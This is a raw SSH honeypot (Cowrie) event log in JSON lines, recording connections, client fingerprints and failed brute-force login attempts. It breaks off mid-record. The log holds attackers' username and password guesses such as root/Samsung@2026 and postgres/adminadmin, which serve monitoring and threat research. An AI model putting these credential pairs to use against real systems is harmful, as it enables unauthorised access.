{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60956,"dst_ip":"10.17.0.5","dst_port":22,"session":"7846251e7031","protocol":"ssh","message":"New connection: 194.59.206.2:60956 (10.17.0.5:22) [session: 7846251e7031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:33.480279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:34.595150Z","src_ip":"194.59.206.2","session":"7846251e7031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:34.599719Z","src_ip":"194.59.206.2","session":"7846251e7031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:35.202338Z","src_ip":"194.59.206.2","session":"7846251e7031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":52166,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd797be62d72","protocol":"ssh","message":"New connection: 103.189.208.13:52166 (159.203.135.109:22) [session: dd797be62d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:11.414292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:11.419258Z","src_ip":"103.189.208.13","session":"dd797be62d72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:12.516950Z","src_ip":"103.189.208.13","session":"dd797be62d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"adminadmin","message":"login attempt [postgres/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:14.543778Z","src_ip":"103.189.208.13","session":"dd797be62d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":55052,"dst_ip":"159.203.135.109","dst_port":22,"session":"e16468047a5c","protocol":"ssh","message":"New connection: 190.242.109.42:55052 (159.203.135.109:22) [session: e16468047a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:18.168907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:18.173547Z","src_ip":"190.242.109.42","session":"e16468047a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:18.196827Z","src_ip":"103.189.208.13","session":"dd797be62d72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:18.263200Z","src_ip":"190.242.109.42","session":"e16468047a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser@1","message":"login attempt [testuser/testuser@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:18.651396Z","src_ip":"190.242.109.42","session":"e16468047a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:19.743537Z","src_ip":"190.242.109.42","session":"e16468047a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":36378,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff9f68c7199c","protocol":"ssh","message":"New connection: 152.244.206.148:36378 (10.17.0.5:22) [session: ff9f68c7199c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:24.759110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:24.764064Z","src_ip":"152.244.206.148","session":"ff9f68c7199c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:24.900682Z","src_ip":"152.244.206.148","session":"ff9f68c7199c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Samsung@2026","message":"login attempt [root/Samsung@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:25.476914Z","src_ip":"152.244.206.148","session":"ff9f68c7199c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:15:26.619518Z","src_ip":"152.244.206.148","session":"ff9f68c7199c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":34420,"dst_ip":"159.203.135.109","dst_port":22,"session":"401f47a05665","protocol":"ssh","message":"New connection: 103.189.208.13:34420 (159.203.135.109:22) [session: 401f47a05665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:13.773773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:13.779100Z","src_ip":"103.189.208.13","session":"401f47a05665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:14.025635Z","src_ip":"103.189.208.13","session":"401f47a05665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"p@ssw0rd","message":"login attempt [admin1/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:15.043823Z","src_ip":"103.189.208.13","session":"401f47a05665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:16.293168Z","src_ip":"103.189.208.13","session":"401f47a05665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":45692,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a8c8f7c273c","protocol":"ssh","message":"New connection: 190.242.109.42:45692 (159.203.135.109:22) [session: 8a8c8f7c273c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:24.044537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:24.050303Z","src_ip":"190.242.109.42","session":"8a8c8f7c273c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:24.143654Z","src_ip":"190.242.109.42","session":"8a8c8f7c273c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:24.545437Z","src_ip":"190.242.109.42","session":"8a8c8f7c273c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:16:25.640737Z","src_ip":"190.242.109.42","session":"8a8c8f7c273c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":55350,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc2693921d4a","protocol":"ssh","message":"New connection: 103.189.208.13:55350 (159.203.135.109:22) [session: dc2693921d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:15.852199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:15.857241Z","src_ip":"103.189.208.13","session":"dc2693921d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:19.721677Z","src_ip":"103.189.208.13","session":"dc2693921d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:20.552262Z","src_ip":"103.189.208.13","session":"dc2693921d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":36344,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba2d39b90f1","protocol":"ssh","message":"New connection: 190.242.109.42:36344 (159.203.135.109:22) [session: 1ba2d39b90f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:33.317349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:33.322060Z","src_ip":"190.242.109.42","session":"1ba2d39b90f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:33.420410Z","src_ip":"190.242.109.42","session":"1ba2d39b90f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111","message":"login attempt [user/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:33.845639Z","src_ip":"190.242.109.42","session":"1ba2d39b90f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:17:34.947115Z","src_ip":"190.242.109.42","session":"1ba2d39b90f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":51424,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d654e6be07d","protocol":"ssh","message":"New connection: 103.189.208.13:51424 (159.203.135.109:22) [session: 7d654e6be07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:25.582582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:25.586564Z","src_ip":"103.189.208.13","session":"7d654e6be07d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly13